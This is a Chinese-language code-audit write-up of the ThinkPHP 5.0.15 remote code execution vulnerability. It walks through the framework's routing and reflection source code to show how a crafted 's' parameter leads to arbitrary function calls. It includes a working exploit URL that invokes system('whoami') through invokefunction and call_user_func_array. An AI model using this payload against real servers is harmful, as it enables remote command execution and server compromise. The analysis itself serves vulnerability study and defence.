演示版本5.0.15 最终是利用反射调用函数执进行RCE application/config.php 下强制路由默认为false 从payload来看 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 运行框架,进入run 方法,跟进到routeCheck
跟进path 方法
public function path()
{
if (is_null($this->path)) {
$suffix = Config::get('url_html_suffix');
$pathinfo = $this->pathinfo();
if (false === $suffix) {
$this->path = $pathinfo;
} elseif ($suffix) {
$this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
} else {
$this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);
}
}
return $this->path;
}
默认$this->path 为null,所以进入了 if 分支 最后$this->path 为pathinfo() 方法的返回值,跟进pathinfo
public function pathinfo()
{
if (is_null($this->pathinfo)) {
if (isset($_GET[Config::get('var_pathinfo')])) {
$_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];
unset($_GET[Config::get('var_pathinfo')]);
} elseif (IS_CLI) {
$_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
}
if (!isset($_SERVER['PATH_INFO'])) {
foreach (Config::get('pathinfo_fetch') as $type) {
if (!empty($_SERVER[$type])) {
$_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
break;
}
}
}
$this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
}
return $this->pathinfo;
}
因为$this->pathinfo 默认为null,所以进入下面判断是否有兼容模式参数,即我们get提交的s参数,将$_SERVER['PATH_INFO'] 赋值为s参数,即我们的/模块/控制器/方法
最后return了我们的路由,回到上面的path 方法,最后return了 之后来到check方法
public static function check($request, $url, $depr = '/', $checkDomain = false)
{
$url = str_replace($depr, '|', $url);
if (isset(self::$rules['alias'][$url]) || isset(self::$rules['alias'][strstr($url, '|', true)])) {
$result = self::checkRouteAlias($request, $url, $depr);
if (false !== $result) {
return $result;
}
}
$method = strtolower($request->method());
$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];
if ($checkDomain) {
self::checkDomain($request, $rules, $method);
}
$return = self::checkUrlBind($url, $rules, $depr);
if (false !== $return) {
return $return;
}
if ('|' != $url) {
$url = rtrim($url, '|');
}
$item = str_replace('|', '/', $url);
if (isset($rules[$item])) {
$rule = $rules[$item];
if (true === $rule) {
$rule = self::getRouteExpress($item);
}
if (!empty($rule['route']) && self::checkOption($rule['option'], $request)) {
self::setOption($rule['option']);
return self::parseRule($item, $rule['route'], $url, $rule['option']);
}
}
if (!empty($rules)) {
return self::checkRoute($request, $rules, $url, $depr);
}
return false;
}
第一行进行了分隔符替换 从index/\think\app/invokefunction 变成了index|\think\app|invokefunction ,这里都没什么问题,来到强制路由检测 可以看到 如果$must 为真 也就是开启了强制路由的话,则会报错 我们的路由就无效。现在默认为false,我们可以继续跟进 获得了$dispath 的值
之后来到exec 方法 跟进exec 前面知道$dispatch['type'] 为module ,跟进该方法,经过一些初始化操作后来到invokeMethod 方法 `
public static function invokeMethod($method, $vars = [])
{
if (is_array($method)) {
$class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
} else {
$reflect = new \ReflectionMethod($method);
}
$args = self::bindParams($reflect, $vars);
self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');
return $reflect->invokeArgs(isset($class) ? $class : null, $args);
}
$method 为数组,进入分支,生成反射实例,self::bindParams 方法是为该实例绑定参数,也就是我们传入的参数 最后返回了一个数组 最后进入invokefunction ,继续绑定然后进行RCE,exec 方法最后返回了执行结果
|